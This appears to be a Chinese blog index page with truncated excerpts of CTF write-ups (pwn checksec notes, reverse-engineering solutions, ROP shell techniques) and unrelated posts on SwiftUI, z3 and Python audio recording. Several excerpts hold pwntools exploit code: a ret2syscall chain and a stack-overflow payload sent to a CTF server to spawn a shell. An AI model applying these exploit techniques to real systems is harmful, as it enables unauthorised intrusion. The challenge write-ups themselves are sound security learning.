CTF-Pwn-Checkse相关解析
Arch:
程序架构信息。判断是拖进64位IDA还是32位?exp编写时p64还是p32函数?
RELRO
Relocation Read-Only (RELRO) 此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。
部分RELRO 易受到攻击,例如攻击者可以atoi.got为system.plt,进而输入/bin/sh\x00获得shell
完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。
1234gcc -o hello test.c // 默认情况下,是Partial RELROgcc -z norelro -o hello test.c // 关闭,即No RELROgcc -z lazy -o hello test.c // 部分开启,即Partial RELROgcc -z now -o hello test.c // 全部开启,即Full RELRO
Stack-canary
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出 ...
湖湘杯2021-Reverse-WP
Hideit
巨恶心的SMC,先逐步锁定主函数:
由于地址是随机加载的,所以就通过行数来找吧,
在最后这个176行步入
进入到TestEvil.dll中,但是没法反编译
跟着汇编走,发现在call后停下来接收输入,发现这样一个函数
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879__int64 __fastcall sub_1F60E221BB0(__int64 a1){ __int64 v2; // rbx unsigned int v3; // er9 int v4; // esi unsigned int v5; // er10 unsigned int v6; // edi unsigned int v7; // er11 __int64 v8; // r8 __int64 v10; // [rsp ...
东华杯-Reverse-WP
ooo
进去后发现是提取了flag中的几位对flag进行异或,很简单爆破即可
123456789a = [0x00000011, 0x0000011B, 0x00000216, 0x00000310, 0x0000040C, 0x00000546, 0x00000644, 0x00000711, 0x00000844, 0x00000942, 0x00000A41, 0x00000B41, 0x00000C44, 0x00000D5A, 0x00000E42, 0x00000F47, 0x00001016, 0x00001143, 0x0000125A, 0x00001343, 0x00001440, 0x00001540, 0x00001615, 0x0000175A, 0x00001845, 0x00001940, 0x00001A4F, 0x00001B15, 0x00001C5A, 0x00001D15, 0x00001E40, 0x00001F46, 0x00002046, 0x00002147, 0x00002245, 0x00002341, 0x00002411, 0x0 ...
天津市赛初赛2021-Reverse-WP
Bytecode
这题考察Python字节码,换源后发现代码是一个改了Delta的Tea,上网一搜Python Tea竟然发现源码,顺利拿到一血。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178 ...
CTF-AWD
AWD
实用网站
https://qwzf.github.io/2019/06/19/CTF线下赛AWD攻防准备/
实用工具
mobaXterm
https://github.com/TheKingOfDuck/FileMonitor
SwiftUI-接收become active信号
近日在SwiftUI中遇到问题,UI上的数据没有因为程序从后台返回而刷新(onAppear函数是不会被调用的),于是应该考虑使用delegate,但是在AppDelegate中使用becomeActive函数并没有用,于是找到这篇文章
https://www.hackingwithswift.com/books/ios-swiftui/how-to-be-notified-when-your-swiftui-app-moves-to-the-background
接下来就很easy了
CTF-z3解数独
来源:https://ericpony.github.io/z3py-tutorial/guide-examples.htm
Sudoku
Sudoku is a very popular puzzle. The goal is to insert the numbers in the boxes to satisfy only one condition: each row, column and 3x3 box must contain the digits 1 through 9 exactly once.
The following example encodes the sudoku problem in Z3. Different sudoku instances can be solved by modifying the matrix instance. This example makes heavy use of list comprehensions available in the Python programming language.
1234567891 ...
CTF-Pwn-ROP来getshell的方式总结
主要还是要学习32位程序和64位程序函数参数的不同寄存器处理
https://tearorca.github.io/32位和64位在pwn中的不同点/
系统调用syscall
灵感来源:https://bbs.pediy.com/thread-248682.htm
使用的程序为网页中的pwn2,pwn2中有大量的gadget,不用ret2libc
1234567891011121314151617181920212223242526272829303132from pwn import *context.log_level = 'DEBUG'p = process('./pwn2')elf = ELF('./pwn2')def get_addr(s): return next(elf.search(s))p.recv()pop_eax = 0x080bb196pop_ecx_ebx = 0x0806eb91pop_edx = 0x0806eb6aint80 = 0x08049421binsh = 0x080be408p ...
CTF-Pwn-BjdCTF2
覆盖返回地址
bjdctf_2020_babystack
存在一个backdoor函数,可以直接执行bin/sh
输入长度后,栈溢出即可
这里可能是定义了一个栈上的局部变量buf,所以是可以覆写到返回地址的
写到__libc_csu_init后,也就是3*8的padding
123456789from pwn import *context.log_level = 'debug'context.arch = 'amd64'p = remote('node4.buuoj.cn', 27309)p.sendlineafter('of your name:\n', '100')payload = 'a' * 24 + p64(0x4006e6)p.sendlineafter('u name?\n', payload);p.interactive()
bjdctf_2020_babystack2
对比前一题多了一个判断,但是是强转的有符号数,因此用- ...
使用Python录音和播放音频
不得不感慨Python真方便hhh
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566import pyaudioimport waveimport timedef recordwav(t, fileurl): CHUNK = 1024 # 缓存大小 FORMAT = pyaudio.paInt16 # 比特 CHANNELS = 1 # 声道 RATE = 44100 # 采样率 RECORD_SECONDS = t # 录制时间 WAVE_OUTPUT_FILENAME = fileurl # 输出地址 p = pyaudio.PyAudio() stream = p.open(format=FORMAT, channels=CHANNELS, rate= ...